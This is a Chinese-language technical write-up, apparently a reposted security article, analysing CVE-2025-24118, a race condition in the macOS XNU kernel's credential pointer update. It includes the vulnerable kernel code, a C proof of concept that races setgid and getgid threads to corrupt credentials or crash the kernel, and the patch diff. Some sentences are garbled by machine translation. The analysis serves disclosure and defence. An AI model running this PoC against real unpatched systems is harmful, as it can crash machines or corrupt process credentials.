目标
-
macOS Sonoma < 14.7.3
-
macOS Sequoia < 15.3
-
iPadOS < 17.7.4
解释
麻省理工学院 CSAIL 安全研究员 Joseph Ravichandran(@0xjprx)表示,Apple macOS 内核(XNU)中新发现的竞争条件可能允许攻击者提升权限、导致内存损坏并可能实现内核级代码执行。该漏洞是由安全内存回收 (SMR)、只读页面映射、每线程凭据以及 memcpy 的使用等多种因素共同造成的,最终导致允许未经授权的凭据修改的竞争条件。
根本原因
1)安全内存回收
Safe Memory Reclamationlock一种无需使用伊朗即可回收内存的算法,同时use-after-free使攻击变得不可能。这个 SMR 最近才被部分添加到 macOS 内核 XNU 中,其中之一就是造成我们今天所讨论的漏洞的进程凭证结构。
XNU 中的安全内存回收(链接https://github.com/apple-oss-distributions/xnu/blob/xnu-11215.41.3/osfmk/kern/smr.c#L47)
与 RCU(读取-复制-更新)非常相似,XNU 的 SMR 实现使用读取端临界区。也就是说,reader在读取SMR保护字段之前smr_enter()必须调用,smr_leave()读取之后也必须调用。
writer通过序列化编写器,我们确保每次只能有一个编写器。writer通过原子更新发布新版本的数据结构,其中使用原子 CPU 指令更新内存非常重要。否则,reader就有可能读取 SMR 指针的中间值。
2)XNU 中的只读页面
XNU 使用 API 来分配和管理只读对象(链接 https://github.com/apple-oss-distributions/xnu/blob/xnu-11215.41.3/doc/allocators/read-only.md)。
只读对象可以通过专为只读映射设计的分配器的特殊版本zalloc_ro进行分配。并且zalloc_ro_mut您只能使用与之相关的方法修改只读数据。此时,要修改的对象和要写入的内容将作为参数接收。类似于只读对象的 memcpy 的专用版本。它zalloc_ro_mut在内部使用pmap_ro_zone_memcpy,这允许它通过绕过取决于架构的页面保护层(PPL)来解锁页面。
memcpy查看x84_64 中的实现,
ENTRY(memcpy)
movq %rdi, %rax /* return destination */
movq %rdx, %rcx
cld /* copy forwards */
rep movsb
ret
rep movsb它不是原子的,每次复制一个字节。
如果同时reader观察到部分更新的指针,则writer线程正在写入的数据可能会被取消引用到由新旧值的部分连接而成的错误地址。这writer可能指向未被任何其他对象引用的第三个有效对象。
回顾更新只读对象时的调用树,函数调用的顺序如下:
zalloc_ro_mut→ pmap_ro_zone_memcpy→ memcpy→rep movsb
zalloc_ro_mut不言而喻的是rep movsp,使用,但是在需要原子写入的地方不会发生原子写入。因此,如果是zalloc_ro_mut应该zalloc_ro_mut_atomic使用的地方,那么很有可能会发现竞争条件错误。
3)每个线程的凭证
XNU 中的凭证是一种跟踪几个与安全相关的字段的数据结构,例如线程的用户 ID。这ucred是 的定义。
struct ucred {
struct ucred_rw *cr_rw;
void *cr_unused;
u_long cr_ref; /* reference count */
struct posix_cred {
/*
* The credential hash depends on everything from this point on
* (see kauth_cred_get_hashkey)
*/
uid_t cr_uid; /* effective user id */
uid_t cr_ruid; /* real user id */
uid_t cr_svuid; /* saved user id */
u_short cr_ngroups; /* number of groups in advisory list */
u_short __cr_padding;
gid_t cr_groups[NGROUPS];/* advisory group list */
gid_t cr_rgid; /* real group id */
gid_t cr_svgid; /* saved group id */
uid_t cr_gmuid; /* UID for group membership purposes */
int cr_flags; /* flags on credential */
} cr_posix;
...
};
部分凭证posix_cred用于追踪当前线程的权限。
系统中的大多数线程都具有相同的权限,而不管当前用户的权限如何。为每个线程存储这些相同凭据的副本需要大量内存。因此,XNU 使用 SMR 哈希表对凭证结构进行哈希处理,从而允许线程共享同一个凭证对象。此凭证对象cr_ref使用引用计数()来跟踪何时可以释放它。
哈希cred值是使用后半部分(例如,在 cr_posix 之后)计算的。这使得具有相同权限的线程可以共享相同的凭证对象,从而节省内存。
竞争条件
让我总结一下我之前提到的根本原因。
-
proc_ro是一个只读对象,用于管理进程的敏感数据(例如凭据),zalloc_ro_mut只能通过一系列函数进行修改。
-
proc_ro.p_ucred是指向进程凭证结构的受 SMR 保护的指针。
-
p_ucred
writer
由于是SMR指针,所以必须通过lock来相互同步,且使用时p_ucred必须通过原子操作来改变。 -
修改只读对象的zalloc_ro_mut函数不是原子的u_cred,因此不适合修改它们。
因此,错误出现在您通过pro_ro.p_ucred非原子函数zalloc_ro_mut更新代码时。在调用更新函数时如果未锁定就进行加载,则可能会出现竞争条件p_ucred,从而导致部分写入p_ucred指向不同的凭证。
错误功能
该错误出现在kauth_cred_proc_update函数更新指针的部分proc_ro。p_ucred
bool
kauth_cred_proc_update(
proc_t p,
proc_settoken_t action,
kauth_cred_derive_t derive_fn)
{
kauth_cred_t cur_cred, free_cred, new_cred;
cur_cred = kauth_cred_proc_ref(p);
for (;;) {
new_cred = kauth_cred_derive(cur_cred, derive_fn);
if (new_cred == cur_cred) {
...
kauth_cred_unref(&new_cred);
kauth_cred_unref(&cur_cred);
return false;
}
proc_ucred_lock(p);
if (__probable(proc_ucred_locked(p) == cur_cred)) {
kauth_cred_ref(new_cred);
kauth_cred_hold(new_cred);
// This is the bug:
zalloc_ro_mut(ZONE_ID_PROC_RO, proc_get_ro(p),
offsetof(struct proc_ro, p_ucred),
&new_cred, sizeof(struct ucred *));
kauth_cred_drop(cur_cred);
ucred_rw_unref_live(cur_cred->cr_rw);
proc_update_creds_onproc(p, new_cred);
proc_ucred_unlock(p);
...
kauth_cred_unref(&new_cred);
kauth_cred_unref(&cur_cred);
return true;
}
...
}
}
概念证明
kauth_cred_proc_update每当更改时就会出现错误p_ucred,但大多数工作流程不会改变凭据,因此这不是问题。要引起竞争条件,p_ucred必须在发生写入的同时发生读取。换句话说,我们需要捕捉zalloc_ro_mut通过p_ucred发生变化的点,并且在内核中,相应的流程可以发生为setuid、setgid、等。setgroups以下 PoC 演示了使用 setgid 的竞争条件。
// Joseph Ravichandran (@0xjprx)
// PoC for CVE-2025-24118.
// Writeup: https://jprx.io/cve-2025-24118
...
gid_t rg; // real gid
gid_t eg; // effective gid
void *toggle_cred(void *_unused_) {
while(true) { // [1]
setgid(rg);
setgid(eg);
}
return NULL;
}
void *reference_cred(void *_unused_) {
// [2]
volatile gid_t tmp;
while(true) tmp = getgid();
return NULL;
}
int main(int argc, char **argv) {
pthread_t pool[2 * NUM_THREADS];
rg = getgid();
eg = getegid();
if (rg == eg) {
fprintf(stderr, "Real and effective groups are the same (%d), they need to be different to trigger kauth_cred_proc_updaten", rg);
exit(1);
}
printf("Starting %d thread pairsn", NUM_THREADS);
printf("rgid: %dnegid: %dn", rg, eg);
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&pool[(2*i)+0], NULL, toggle_cred, NULL);
pthread_create(&pool[(2*i)+1], NULL, reference_cred, NULL);
}
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(pool[(2*i)+0], NULL);
pthread_join(pool[(2*i)+1], NULL);
}
printf("Donen");
return 0;
}
调用函数proc_ro.p_ucred将值写入1 。kauth_cred_proc_update
setgid每次调用时,kauth_cred_proc_update都使用用户的凭证指针p_ucred更新。未经授权的攻击者可以使用存储在哈希表中的凭证信息将凭证更改为真实的 gid。
调用函数proc_ro.p_ucred读取2 。current_cached_proc_cred_update
unix_syscall64 在所有系统调用期间引用当前进程的凭据,以跨线程维护不同的凭据。任何与组 ID 更改同时运行的系统调用都将触发此读取。在某个时候,其中一个读取操作p_ucred会观察到一个半写的值,如果您幸运的话,这将导致崩溃,如果不幸运的话,这将破坏您的凭据。
运行 PoC 代码可能会破坏凭证指针,导致内核崩溃或使其指向不同的凭证对象。
建议通过直接调用原子函数来修补该漏洞。
@@ -3947,9 +3947,9 @@ kauth_cred_proc_update(
kauth_cred_ref(new_cred);
kauth_cred_hold(new_cred);
- zalloc_ro_mut(ZONE_ID_PROC_RO, proc_get_ro(p),
+ zalloc_ro_mut_atomic(ZONE_ID_PROC_RO, proc_get_ro(p),
offsetof(struct proc_ro, p_ucred),
- &new_cred, sizeof(struct ucred *));
+ ZRO_ATOMIC_XCHG_LONG, (uint64_t)new_cred);
kauth_cred_drop(cur_cred);
ucred_rw_unref_live(cur_cred->cr_rw);
参考
https://nvd.nist.gov/vuln/detail/CVE-2025-24118
https://securityonline.info/poc-exploit-released-for-macos-kernel-vulnerability-cve-2025-24118-cvss-9-8/
https://support.apple.com/en-us/122067
原文始发于微信公众号(Ots安全):CVE-2025-24118:macOS 中的竞争条件漏洞可导致任意凭证获取
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论